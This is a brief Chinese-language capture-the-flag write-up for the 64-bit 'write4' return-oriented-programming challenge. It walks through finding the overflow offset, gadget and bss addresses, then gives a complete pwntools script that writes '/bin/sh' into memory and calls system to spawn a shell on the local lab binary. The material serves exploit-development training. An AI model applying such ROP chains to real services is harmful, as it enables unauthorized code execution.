64位
我们照常来check一下保护
依旧是堆栈不可执行保护
然后为了防止最后忘记这一步,我们先爆个字符串大小先
爆出来的数字是40
然后去ida里看看 有没有system和’/bin/sh’
我们一看就能找到system啦!然后点进去看地址咯
然后就继续shift+fn+f12找字符串’/bin/sh’
我们只能找到一个和它很像的东西,但是很像也不是啊,所以我们要把’/bin/sh’写进bss段然后调用
我们找到的bss段的地址
然后我们找寄存器来存这些指令和数据(一个存bss段的地址一个存要写入的参
数(这里是’/bin/sh’))
然后我们选那个r14、r15的地址
然后还要去找mov的地址来给寄存器赋值的
然后我们找到有r14和r15的,[r14]是代表r14的地址,r15则是对应的值,假设r14地址为0x0401809,r15里的值是“abc”,则这个命令就是,让r14里的地址指向r15里的内容,即0x0401809->“abc”。
然后就可以构造脚本啦
#!/usr/bin/env python
from pwn import *
sh = process('./write4')
system = 0x04005E0
bss = 0x0601060
r14_r15 = 0x0400890
move = 0x0400820
rdi = 0x0400893
#rbp = 0x04006b0
mov = 0x0400820
payload = "a"*40+p64(r14_r15)+p64(bss)+"/bin/sh\x00"+p64(mov)+p64(rdi)+p64(bss)+p64(system)
#rdi->bss
#gdb.attach(sh,"b *0x0400804")
sh.sendline(payload)
sh.interactive()
然后就可以getshell啦!